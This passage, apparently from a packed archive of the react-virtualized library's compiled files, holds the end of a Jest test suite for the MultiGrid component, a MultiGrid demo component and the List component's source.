      expect(bottomLeft.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(bottomLeft.style.getPropertyValue('overflow-y')).toEqual('auto');
      expect(bottomRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(bottomRight.style.getPropertyValue('overflow-y')).toEqual('auto');
    });
  });
  describe('hideTopRightGridScrollbar, hideBottomLeftGridScrollbar should hide the scrollbars', function () {
    function getScrollbarSize20() {
      return 20;
    }

    it('should add scroll wrappers to hide scroll bar when configured for fixed columns and rows with scroll interaction', function () {
      var rendered = findDOMNode(render(getMarkup({
        enableFixedColumnScroll: true,
        enableFixedRowScroll: true,
        fixedColumnCount: 1,
        fixedRowCount: 1,
        hideTopRightGridScrollbar: true,
        hideBottomLeftGridScrollbar: true,
        getScrollbarSize: getScrollbarSize20
      })));
      var wrappers = rendered.querySelectorAll('.TopRightGrid_ScrollWrapper');
      expect(wrappers.length).toEqual(1);

      var _wrappers = wrappers,
          _wrappers2 = _slicedToArray(_wrappers, 1),
          topRightWrapper = _wrappers2[0];

      wrappers = rendered.querySelectorAll('.BottomLeftGrid_ScrollWrapper');
      expect(wrappers.length).toEqual(1);

      var _wrappers3 = wrappers,
          _wrappers4 = _slicedToArray(_wrappers3, 1),
          bottomLeftWrapper = _wrappers4[0];

      expect(topRightWrapper.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(topRightWrapper.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(bottomLeftWrapper.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(bottomLeftWrapper.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(topRightWrapper.style.getPropertyValue('height')).toEqual('20px');
      expect(bottomLeftWrapper.style.getPropertyValue('height')).toEqual('280px');
      expect(topRightWrapper.style.getPropertyValue('width')).toEqual('350px');
      expect(bottomLeftWrapper.style.getPropertyValue('width')).toEqual('50px');
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(grids.length).toEqual(4);

      var _grids6 = _slicedToArray(grids, 4),
          topLeft = _grids6[0],
          topRight = _grids6[1],
          bottomLeft = _grids6[2],
          bottomRight = _grids6[3];

      expect(topLeft.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(topLeft.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(topRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(topRight.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(topRight.style.getPropertyValue('height')).toEqual('40px');
      expect(bottomLeft.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(bottomLeft.style.getPropertyValue('overflow-y')).toEqual('auto');
      expect(bottomLeft.style.getPropertyValue('width')).toEqual('70px');
      expect(bottomRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(bottomRight.style.getPropertyValue('overflow-y')).toEqual('auto');
    });
  });
  describe('#recomputeGridSize', function () {
    it('should clear calculated cached styles in recomputeGridSize', function () {
      var fixedRowHeight = 75;
      var fixedColumnWidth = 100;

      function variableRowHeight(_ref2) {
        var index = _ref2.index;

        if (index === 0) {
          return fixedRowHeight;
        }

        return 20;
      }

      function variableColumnWidth(_ref3) {
        var index = _ref3.index;

        if (index === 0) {
          return fixedColumnWidth;
        }

        return 50;
      }

      var multiGrid;
      var rendered = findDOMNode(render(getMarkup({
        fixedColumnCount: 1,
        fixedRowCount: 1,
        rowHeight: variableRowHeight,
        columnWidth: variableColumnWidth,
        ref: function ref(_ref4) {
          multiGrid = _ref4;
        }
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(grids.length).toEqual(4);

      var _grids7 = _slicedToArray(grids, 4),
          topLeft = _grids7[0],
          topRight = _grids7[1],
          bottomLeft = _grids7[2],
          bottomRight = _grids7[3];

      expect(topLeft.style.getPropertyValue('height')).toEqual('75px');
      expect(topRight.style.getPropertyValue('height')).toEqual('75px');
      expect(bottomLeft.style.getPropertyValue('height')).toEqual('225px');
      expect(bottomRight.style.getPropertyValue('height')).toEqual('225px');
      expect(topLeft.style.getPropertyValue('width')).toEqual('100px');
      expect(topRight.style.getPropertyValue('width')).toEqual('300px');
      expect(bottomLeft.style.getPropertyValue('width')).toEqual('100px');
      expect(bottomRight.style.getPropertyValue('width')).toEqual('300px');
      expect(multiGrid._topGridHeight).toEqual(75);
      expect(multiGrid._leftGridWidth).toEqual(100);
      fixedRowHeight = 125;
      fixedColumnWidth = 75;
      multiGrid.recomputeGridSize();
      expect(multiGrid._topGridHeight).toEqual(125);
      expect(multiGrid._leftGridWidth).toEqual(75);
      multiGrid.forceUpdate();
      var gridsAfter = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(gridsAfter.length).toEqual(4);

      var _gridsAfter = _slicedToArray(gridsAfter, 4),
          topLeftAfter = _gridsAfter[0],
          topRightAfter = _gridsAfter[1],
          bottomLeftAfter = _gridsAfter[2],
          bottomRightAfter = _gridsAfter[3];

      expect(topLeftAfter.style.getPropertyValue('height')).toEqual('125px');
      expect(topRightAfter.style.getPropertyValue('height')).toEqual('125px');
      expect(bottomLeftAfter.style.getPropertyValue('height')).toEqual('175px');
      expect(bottomRightAfter.style.getPropertyValue('height')).toEqual('175px');
      expect(topLeftAfter.style.getPropertyValue('width')).toEqual('75px');
      expect(topRightAfter.style.getPropertyValue('width')).toEqual('325px');
      expect(bottomLeftAfter.style.getPropertyValue('width')).toEqual('75px');
      expect(bottomRightAfter.style.getPropertyValue('width')).toEqual('325px');
    });
  });
  describe('scrollToColumn and scrollToRow', function () {
    it('should adjust :scrollLeft for the main Grid when scrollToColumn is used', function () {
      var rendered = findDOMNode(render(getMarkup({
        columnWidth: 50,
        fixedColumnCount: 2,
        scrollToAlignment: 'start',
        scrollToColumn: 19
      }))); // Bottom-right Grid is the last Grid

      var grid = rendered.querySelectorAll('.ReactVirtualized__Grid')[3]; // 20th column, less 2 for the fixed-column Grid, 50px column width

      expect(grid.scrollLeft).toEqual(850);
    });
    it('should adjust :scrollTop for the main Grid when scrollToRow is used', function () {
      var rendered = findDOMNode(render(getMarkup({
        fixedRowCount: 1,
        rowHeight: 50,
        scrollToAlignment: 'start',
        scrollToRow: 19
      }))); // Bottom-right Grid is the last Grid

      var grid = rendered.querySelectorAll('.ReactVirtualized__Grid')[3]; // 20th row, less 1 for the fixed-row Grid, 50px row width

      expect(grid.scrollTop).toEqual(900);
    });
  });
  describe('#forceUpdateGrids', function () {
    it('should call forceUpdate() on inner Grids', function () {
      var cellRenderer = jest.fn();
      cellRenderer.mockImplementation(function (_ref5) {
        var key = _ref5.key;
        return React.createElement("div", {
          key: key,
          style: {}
        });
      });
      var rendered = render(getMarkup({
        cellRenderer: cellRenderer,
        columnCount: 2,
        fixedColumnCount: 1,
        fixedRowCount: 1,
        rowCount: 2
      }));
      expect(cellRenderer.mock.calls).toHaveLength(4);
      cellRenderer.mockReset();
      rendered.forceUpdateGrids();
      expect(cellRenderer.mock.calls).toHaveLength(4);
    });
  });
  describe('#invalidateCellSizeAfterRender', function () {
    it('should call invalidateCellSizeAfterRender() on inner Grids', function () {
      var cellRenderer = jest.fn();
      cellRenderer.mockImplementation(function (_ref6) {
        var key = _ref6.key;
        return React.createElement("div", {
          key: key,
          style: {}
        });
      });
      var rendered = render(getMarkup({
        cellRenderer: cellRenderer,
        columnCount: 2,
        fixedColumnCount: 1,
        fixedRowCount: 1,
        rowCount: 2
      }));
      cellRenderer.mockReset();
      rendered.invalidateCellSizeAfterRender({
        columnIndex: 0,
        rowIndex: 0
      });
      rendered.forceUpdate();
      expect(cellRenderer.mock.calls).toHaveLength(4);
    });
    it('should specify itself as the :parent for CellMeasurer rendered cells', function () {
      // HACK For some reason, using Jest mock broke here
      var savedParent;

      function cellRenderer(_ref7) {
        var key = _ref7.key,
            parent = _ref7.parent;
        savedParent = parent;
        return React.createElement("div", {
          key: key,
          style: {}
        });
      }

      var rendered = render(getMarkup({
        cellRenderer: cellRenderer,
        columnCount: 2,
        fixedColumnCount: 1,
        fixedRowCount: 1,
        rowCount: 2
      }));
      expect(savedParent).toBe(rendered);
    });
  });
  describe('styles', function () {
    it('should support custom style for the outer MultiGrid wrapper element', function () {
      var rendered = findDOMNode(render(getMarkup({
        style: {
          backgroundColor: 'black'
        }
      })));
      expect(rendered.style.backgroundColor).toEqual('black');
    });
    it('should support custom styles for each Grid', function () {
      var rendered = findDOMNode(render(getMarkup({
        fixedColumnCount: 2,
        fixedRowCount: 1,
        styleBottomLeftGrid: {
          backgroundColor: 'green'
        },
        styleBottomRightGrid: {
          backgroundColor: 'red'
        },
        styleTopLeftGrid: {
          backgroundColor: 'blue'
        },
        styleTopRightGrid: {
          backgroundColor: 'purple'
        }
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      var topLeftGrid = grids[0];
      var topRightGrid = grids[1];
      var bottomLeftGrid = grids[2];
      var bottomRightGrid = grids[3];
      expect(topLeftGrid.style.backgroundColor).toEqual('blue');
      expect(topRightGrid.style.backgroundColor).toEqual('purple');
      expect(bottomLeftGrid.style.backgroundColor).toEqual('green');
      expect(bottomRightGrid.style.backgroundColor).toEqual('red');
    });
  });
  describe('scrollTop and scrollLeft', function () {
    it('should adjust :scrollLeft for top-right and main grids when scrollLeft is used', function () {
      var rendered = findDOMNode(render(getMarkup({
        columnWidth: 50,
        fixedColumnCount: 2,
        scrollLeft: 850
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      var topRightGrid = grids[1];
      var bottomRightGrid = grids[3];
      expect(topRightGrid.scrollLeft).toEqual(850);
      expect(bottomRightGrid.scrollLeft).toEqual(850);
    });
    it('should adjust :scrollTop for bottom-left and main grids when scrollTop is used', function () {
      var rendered = findDOMNode(render(getMarkup({
        columnWidth: 50,
        fixedColumnCount: 2,
        scrollTop: 500
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      var bottomLeftGrid = grids[2];
      var bottomRightGrid = grids[3];
      expect(bottomLeftGrid.scrollTop).toEqual(500);
      expect(bottomRightGrid.scrollTop).toEqual(500);
    });
    it('should adjust :scrollTop and :scrollLeft when scrollTop and scrollLeft change', function () {
      render(getMarkup());
      var rendered = findDOMNode(render(getMarkup({
        scrollTop: 750,
        scrollLeft: 900
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      var topRightGrid = grids[1];
      var bottomLeftGrid = grids[2];
      var bottomRightGrid = grids[3];
      expect(topRightGrid.scrollLeft).toEqual(900);
      expect(bottomRightGrid.scrollLeft).toEqual(900);
      expect(bottomLeftGrid.scrollTop).toEqual(750);
      expect(bottomRightGrid.scrollTop).toEqual(750);
    });
    it('should not crash when decreasing :rowCount', function () {
      render(getMarkup());
      var updated = render(getMarkup({
        rowCount: 2
      }));
      expect(updated.props.rowCount).toEqual(2);
    });
    it('should not crash when decreasing :columnCount', function () {
      render(getMarkup());
      var updated = render(getMarkup({
        columnCount: 3
      }));
      expect(updated.props.columnCount).toEqual(3);
    });
  });
  describe('deferredMeasurementCache', function () {
    function getDeferredMeasurementCache() {
      var deferredMeasurementCache = new CellMeasurerCache({
        fixedHeight: true,
        fixedWidth: true
      });
      deferredMeasurementCache._columnIndices = {};
      deferredMeasurementCache._rowIndices = {};

      deferredMeasurementCache.has = function (rowIndex, columnIndex) {
        deferredMeasurementCache._columnIndices[columnIndex] = columnIndex;
        deferredMeasurementCache._rowIndices[rowIndex] = rowIndex;
        return true;
      };

      return deferredMeasurementCache;
    }

    it('should wrap top-right and bottom-right deferredMeasurementCache if fixedColumnCount is > 0', function () {
      var deferredMeasurementCache = getDeferredMeasurementCache();
      render(getMarkup({
        deferredMeasurementCache: deferredMeasurementCache,
        columnCount: 3,
        fixedColumnCount: 1,
        fixedRowCount: 0,
        rowCount: 1
      }));
      expect(Object.keys(deferredMeasurementCache._columnIndices)).toEqual(['0', '1', '2']);
    });
    it('should not wrap top-right and bottom-right deferredMeasurementCache if fixedColumnCount is 0', function () {
      var deferredMeasurementCache = getDeferredMeasurementCache();
      render(getMarkup({
        deferredMeasurementCache: deferredMeasurementCache,
        columnCount: 2,
        fixedColumnCount: 0,
        fixedRowCount: 0,
        rowCount: 1
      }));
      expect(Object.keys(deferredMeasurementCache._columnIndices)).toEqual(['0', '1']);
    });
    it('should wrap bottom-left and bottom-right deferredMeasurementCache if fixedRowCount is > 0', function () {
      var deferredMeasurementCache = getDeferredMeasurementCache();
      render(getMarkup({
        deferredMeasurementCache: deferredMeasurementCache,
        columnCount: 1,
        fixedColumnCount: 0,
        fixedRowCount: 1,
        rowCount: 3
      }));
      expect(Object.keys(deferredMeasurementCache._rowIndices)).toEqual(['0', '1', '2']);
    });
    it('should not wrap bottom-left and bottom-right deferredMeasurementCache if fixedRowCount is 0', function () {
      var deferredMeasurementCache = getDeferredMeasurementCache();
      render(getMarkup({
        deferredMeasurementCache: deferredMeasurementCache,
        columnCount: 1,
        fixedColumnCount: 0,
        fixedRowCount: 0,
        rowCount: 2
      }));
      expect(Object.keys(deferredMeasurementCache._rowIndices)).toEqual(['0', '1']);
    });
  });
  describe('onScrollbarPresenceChange', function () {
    function getScrollbarSize20() {
      return 20;
    }

    it('should not trigger on-mount if scrollbars are hidden', function () {
      var onScrollbarPresenceChange = jest.fn();
      render(getMarkup({
        columnCount: 1,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 1
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
    });
    it('should trigger on-mount if scrollbars are visible', function () {
      var onScrollbarPresenceChange = jest.fn();
      render(getMarkup({
        columnCount: 100,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 100
      }));
      expect(onScrollbarPresenceChange).toHaveBeenCalled();
      var args = onScrollbarPresenceChange.mock.calls[0][0];
      expect(args.horizontal).toBe(true);
      expect(args.size).toBe(getScrollbarSize20());
      expect(args.vertical).toBe(true);
    });
    it('should trigger on-update if scrollbar visibility has changed', function () {
      var onScrollbarPresenceChange = jest.fn();
      render(getMarkup({
        columnCount: 1,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 1
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
      render(getMarkup({
        columnCount: 100,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 100
      }));
      expect(onScrollbarPresenceChange).toHaveBeenCalled();
      var args = onScrollbarPresenceChange.mock.calls[0][0];
      expect(args.horizontal).toBe(true);
      expect(args.size).toBe(getScrollbarSize20());
      expect(args.vertical).toBe(true);
    });
    it('should not trigger on-update if scrollbar visibility does not change', function () {
      var onScrollbarPresenceChange = jest.fn();
      render(getMarkup({
        columnCount: 1,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 1
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
      render(getMarkup({
        columnCount: 2,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 2
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
    });
  });
});es/MultiGrid/MultiGrid.example.js000064400000011660151677406000012755 0ustar00import _extends from "@babel/runtime/helpers/extends";
import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
import Immutable from 'immutable';
import PropTypes from 'prop-types';
import * as React from 'react';
import { ContentBox, ContentBoxHeader, ContentBoxParagraph } from '../demo/ContentBox';
import { LabeledInput, InputRow } from '../demo/LabeledInput';
import AutoSizer from '../AutoSizer';
import MultiGrid from './MultiGrid';
import styles from './MultiGrid.example.css';
var STYLE = {
  border: '1px solid #ddd'
};
var STYLE_BOTTOM_LEFT_GRID = {
  borderRight: '2px solid #aaa',
  backgroundColor: '#f7f7f7'
};
var STYLE_TOP_LEFT_GRID = {
  borderBottom: '2px solid #aaa',
  borderRight: '2px solid #aaa',
  fontWeight: 'bold'
};
var STYLE_TOP_RIGHT_GRID = {
  borderBottom: '2px solid #aaa',
  fontWeight: 'bold'
};

var MultiGridExample =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(MultiGridExample, _React$PureComponent);

  function MultiGridExample(props, context) {
    var _this;

    _classCallCheck(this, MultiGridExample);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(MultiGridExample).call(this, props, context));
    _this.state = {
      fixedColumnCount: 2,
      fixedRowCount: 1,
      scrollToColumn: 0,
      scrollToRow: 0
    };
    _this._cellRenderer = _this._cellRenderer.bind(_assertThisInitialized(_this));
    _this._onFixedColumnCountChange = _this._createEventHandler('fixedColumnCount');
    _this._onFixedRowCountChange = _this._createEventHandler('fixedRowCount');
    _this._onScrollToColumnChange = _this._createEventHandler('scrollToColumn');
    _this._onScrollToRowChange = _this._createEventHandler('scrollToRow');
    return _this;
  }

  _createClass(MultiGridExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      return React.createElement(ContentBox, null, React.createElement(ContentBoxHeader, {
        text: "MultiGrid",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/MultiGrid/MultiGrid.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/MultiGrid.md"
      }), React.createElement(ContentBoxParagraph, null, "This component stitches together several grids to provide a fixed column/row interface."), React.createElement(InputRow, null, this._createLabeledInput('fixedColumnCount', this._onFixedColumnCountChange), this._createLabeledInput('fixedRowCount', this._onFixedRowCountChange), this._createLabeledInput('scrollToColumn', this._onScrollToColumnChange), this._createLabeledInput('scrollToRow', this._onScrollToRowChange)), React.createElement(AutoSizer, {
        disableHeight: true
      }, function (_ref) {
        var width = _ref.width;
        return React.createElement(MultiGrid, _extends({}, _this2.state, {
          cellRenderer: _this2._cellRenderer,
          columnWidth: 75,
          columnCount: 50,
          enableFixedColumnScroll: true,
          enableFixedRowScroll: true,
          height: 300,
          rowHeight: 40,
          rowCount: 100,
          style: STYLE,
          styleBottomLeftGrid: STYLE_BOTTOM_LEFT_GRID,
          styleTopLeftGrid: STYLE_TOP_LEFT_GRID,
          styleTopRightGrid: STYLE_TOP_RIGHT_GRID,
          width: width,
          hideTopRightGridScrollbar: true,
          hideBottomLeftGridScrollbar: true
        }));
      }));
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref2) {
      var columnIndex = _ref2.columnIndex,
          key = _ref2.key,
          rowIndex = _ref2.rowIndex,
          style = _ref2.style;
      return React.createElement("div", {
        className: styles.Cell,
        key: key,
        style: style
      }, columnIndex, ", ", rowIndex);
    }
  }, {
    key: "_createEventHandler",
    value: function _createEventHandler(property) {
      var _this3 = this;

      return function (event) {
        var value = parseInt(event.target.value, 10) || 0;

        _this3.setState(_defineProperty({}, property, value));
      };
    }
  }, {
    key: "_createLabeledInput",
    value: function _createLabeledInput(property, eventHandler) {
      var value = this.state[property];
      return React.createElement(LabeledInput, {
        label: property,
        name: property,
        onChange: eventHandler,
        value: value
      });
    }
  }]);

  return MultiGridExample;
}(React.PureComponent);

_defineProperty(MultiGridExample, "contextTypes", {
  list: PropTypes.instanceOf(Immutable.List).isRequired
});

export { MultiGridExample as default };es/List/List.js000064400000030405151677406000007347 0ustar00import _extends from "@babel/runtime/helpers/extends";
import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

var _class, _temp;

import Grid, { accessibilityOverscanIndicesGetter } from '../Grid';
import * as React from 'react';
import clsx from 'clsx';
/**
 * It is inefficient to create and manage a large list of DOM elements within a scrolling container
 * if only a few of those elements are visible. The primary purpose of this component is to improve
 * performance by only rendering the DOM nodes that a user is able to see based on their current
 * scroll position.
 *
 * This component renders a virtualized list of elements with either fixed or dynamic heights.
 */

var List = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(List, _React$PureComponent);

  function List() {
    var _getPrototypeOf2;

    var _this;

    _classCallCheck(this, List);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(List)).call.apply(_getPrototypeOf2, [this].concat(args)));

    _defineProperty(_assertThisInitialized(_this), "Grid", void 0);

    _defineProperty(_assertThisInitialized(_this), "_cellRenderer", function (_ref) {
      var parent = _ref.parent,
          rowIndex = _ref.rowIndex,
          style = _ref.style,
          isScrolling = _ref.isScrolling,
          isVisible = _ref.isVisible,
          key = _ref.key;
      var rowRenderer = _this.props.rowRenderer; // TRICKY The style object is sometimes cached by Grid.
      // This prevents new style objects from bypassing shallowCompare().
      // However as of React 16, style props are auto-frozen (at least in dev mode)
      // Check to make sure we can still modify the style before proceeding.
      // https://github.com/facebook/react/commit/977357765b44af8ff0cfea327866861073095c12#commitcomment-20648713

      var widthDescriptor = Object.getOwnPropertyDescriptor(style, 'width');

      if (widthDescriptor && widthDescriptor.writable) {
        // By default, List cells should be 100% width.
        // This prevents them from flowing under a scrollbar (if present).
        style.width = '100%';
      }

      return rowRenderer({
        index: rowIndex,
        style: style,
        isScrolling: isScrolling,
        isVisible: isVisible,
        key: key,
        parent: parent
      });
    });

    _defineProperty(_assertThisInitialized(_this), "_setRef", function (ref) {
      _this.Grid = ref;
    });

    _defineProperty(_assertThisInitialized(_this), "_onScroll", function (_ref2) {
      var clientHeight = _ref2.clientHeight,
          scrollHeight = _ref2.scrollHeight,
          scrollTop = _ref2.scrollTop;
      var onScroll = _this.props.onScroll;
      onScroll({
        clientHeight: clientHeight,
        scrollHeight: scrollHeight,
        scrollTop: scrollTop
      });
    });

    _defineProperty(_assertThisInitialized(_this), "_onSectionRendered", function (_ref3) {
      var rowOverscanStartIndex = _ref3.rowOverscanStartIndex,
          rowOverscanStopIndex = _ref3.rowOverscanStopIndex,
          rowStartIndex = _ref3.rowStartIndex,
          rowStopIndex = _ref3.rowStopIndex;
      var onRowsRendered = _this.props.onRowsRendered;
      onRowsRendered({
        overscanStartIndex: rowOverscanStartIndex,
        overscanStopIndex: rowOverscanStopIndex,
        startIndex: rowStartIndex,
        stopIndex: rowStopIndex
      });
    });

    return _this;
  }

  _createClass(List, [{
    key: "forceUpdateGrid",
    value: function forceUpdateGrid() {
      if (this.Grid) {
        this.Grid.forceUpdate();
      }
    }
    /** See Grid#getOffsetForCell */

  }, {
    key: "getOffsetForRow",
    value: function getOffsetForRow(_ref4) {
      var alignment = _ref4.alignment,
          index = _ref4.index;

      if (this.Grid) {
        var _this$Grid$getOffsetF = this.Grid.getOffsetForCell({
          alignment: alignment,
          rowIndex: index,
          columnIndex: 0
        }),
            scrollTop = _this$Grid$getOffsetF.scrollTop;

        return scrollTop;
      }

      return 0;
    }
    /** CellMeasurer compatibility */

  }, {
    key: "invalidateCellSizeAfterRender",
    value: function invalidateCellSizeAfterRender(_ref5) {
      var columnIndex = _ref5.columnIndex,
          rowIndex = _ref5.rowIndex;

      if (this.Grid) {
        this.Grid.invalidateCellSizeAfterRender({
          rowIndex: rowIndex,
          columnIndex: columnIndex
        });
      }
    }
    /** See Grid#measureAllCells */

  }, {
    key: "measureAllRows",
    value: function measureAllRows() {
      if (this.Grid) {
        this.Grid.measureAllCells();
      }
    }
    /** CellMeasurer compatibility */

  }, {
    key: "recomputeGridSize",
    value: function recomputeGridSize() {
      var _ref6 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
          _ref6$columnIndex = _ref6.columnIndex,
          columnIndex = _ref6$columnIndex === void 0 ? 0 : _ref6$columnIndex,
          _ref6$rowIndex = _ref6.rowIndex,
          rowIndex = _ref6$rowIndex === void 0 ? 0 : _ref6$rowIndex;

      if (this.Grid) {
        this.Grid.recomputeGridSize({
          rowIndex: rowIndex,
          columnIndex: columnIndex
        });
      }
    }
    /** See Grid#recomputeGridSize */

  }, {
    key: "recomputeRowHeights",
    value: function recomputeRowHeights() {
      var index = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;

      if (this.Grid) {
        this.Grid.recomputeGridSize({
          rowIndex: index,
          columnIndex: 0
        });
      }
    }
    /** See Grid#scrollToPosition */

  }, {
    key: "scrollToPosition",
    value: function scrollToPosition() {
      var scrollTop = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;

      if (this.Grid) {
        this.Grid.scrollToPosition({
          scrollTop: scrollTop
        });
      }
    }
    /** See Grid#scrollToCell */

  }, {
    key: "scrollToRow",
    value: function scrollToRow() {
      var index = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;

      if (this.Grid) {
        this.Grid.scrollToCell({
          columnIndex: 0,
          rowIndex: index
        });
      }
    }
  }, {
    key: "render",
    value: function render() {
      var _this$props = this.props,
          className = _this$props.className,
          noRowsRenderer = _this$props.noRowsRenderer,
          scrollToIndex = _this$props.scrollToIndex,
          width = _this$props.width;
      var classNames = clsx('ReactVirtualized__List', className);
      return React.createElement(Grid, _extends({}, this.props, {
        autoContainerWidth: true,
        cellRenderer: this._cellRenderer,
        className: classNames,
        columnWidth: width,
        columnCount: 1,
        noContentRenderer: noRowsRenderer,
        onScroll: this._onScroll,
        onSectionRendered: this._onSectionRendered,
        ref: this._setRef,
        scrollToRow: scrollToIndex
      }));
    }
  }]);

  return List;
}(React.PureComponent), _defineProperty(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {
  "aria-label": PropTypes.string,

  /**
   * Removes fixed height from the scrollingContainer so that the total height
   * of rows can stretch the window. Intended for use with WindowScroller
   */
  "autoHeight": PropTypes.bool.isRequired,

  /** Optional CSS class name */
  "className": PropTypes.string,

  /**
   * Used to estimate the total height of a List before all of its rows have actually been measured.
   * The estimated total height is adjusted as rows are rendered.
   */
  "estimatedRowSize": PropTypes.number.isRequired,

  /** Height constraint for list (determines how many actual rows are rendered) */
  "height": PropTypes.number.isRequired,

  /** Optional renderer to be used in place of rows when rowCount is 0 */
  "noRowsRenderer": function noRowsRenderer() {
    return (typeof bpfrpt_proptype_NoContentRenderer === "function" ? bpfrpt_proptype_NoContentRenderer.isRequired ? bpfrpt_proptype_NoContentRenderer.isRequired : bpfrpt_proptype_NoContentRenderer : PropTypes.shape(bpfrpt_proptype_NoContentRenderer).isRequired).apply(this, arguments);
  },

  /** Callback invoked with information about the slice of rows that were just rendered.  */
  "onRowsRendered": PropTypes.func.isRequired,

  /**
   * Callback invoked whenever the scroll offset changes within the inner scrollable region.
   * This callback can be used to sync scrolling between lists, tables, or grids.
   */
  "onScroll": PropTypes.func.isRequired,

  /** See Grid#overscanIndicesGetter */
  "overscanIndicesGetter": function overscanIndicesGetter() {
    return (typeof bpfrpt_proptype_OverscanIndicesGetter === "function" ? bpfrpt_proptype_OverscanIndicesGetter.isRequired ? bpfrpt_proptype_OverscanIndicesGetter.isRequired : bpfrpt_proptype_OverscanIndicesGetter : PropTypes.shape(bpfrpt_proptype_OverscanIndicesGetter).isRequired).apply(this, arguments);
  },

  /**
   * Number of rows to render above/below the visible bounds of the list.
   * These rows can help for smoother scrolling on touch devices.
   */
  "overscanRowCount": PropTypes.number.isRequired,

  /** Either a fixed row height (number) or a function that returns the height of a row given its index.  */
  "rowHeight": function rowHeight() {
    return (typeof bpfrpt_proptype_CellSize === "function" ? bpfrpt_proptype_CellSize.isRequired ? bpfrpt_proptype_CellSize.isRequired : bpfrpt_proptype_CellSize : PropTypes.shape(bpfrpt_proptype_CellSize).isRequired).apply(this, arguments);
  },

  /** Responsible for rendering a row given an index; ({ index: number }): node */
  "rowRenderer": function rowRenderer() {
    return (typeof bpfrpt_proptype_RowRenderer === "function" ? bpfrpt_proptype_RowRenderer.isRequired ? bpfrpt_proptype_RowRenderer.isRequired : bpfrpt_proptype_RowRenderer : PropTypes.shape(bpfrpt_proptype_RowRenderer).isRequired).apply(this, arguments);
  },

  /** Number of rows in list. */
  "rowCount": PropTypes.number.isRequired,

  /** See Grid#scrollToAlignment */
  "scrollToAlignment": function scrollToAlignment() {
    return (typeof bpfrpt_proptype_Alignment === "function" ? bpfrpt_proptype_Alignment.isRequired ? bpfrpt_proptype_Alignment.isRequired : bpfrpt_proptype_Alignment : PropTypes.shape(bpfrpt_proptype_Alignment).isRequired).apply(this, arguments);
  },

  /** Row index to ensure visible (by forcefully scrolling if necessary) */
  "scrollToIndex": PropTypes.number.isRequired,

  /** Vertical offset. */
  "scrollTop": PropTypes.number,

  /** Optional inline style */
  "style": PropTypes.object.isRequired,

  /** Tab index for focus */
  "tabIndex": PropTypes.number,

  /** Width of list */
  "width": PropTypes.number.isRequired
}), _temp);

_defineProperty(List, "defaultProps", {
  autoHeight: false,
  estimatedRowSize: 30,
  onScroll: function onScroll() {},
  noRowsRenderer: function noRowsRenderer() {
    return null;
  },
  onRowsRendered: function onRowsRendered() {},
  overscanIndicesGetter: accessibilityOverscanIndicesGetter,
  overscanRowCount: 10,
  scrollToAlignment: 'auto',
  scrollToIndex: -1,
  style: {}
});

export { List as default };
import { bpfrpt_proptype_NoContentRenderer } from "../Grid";
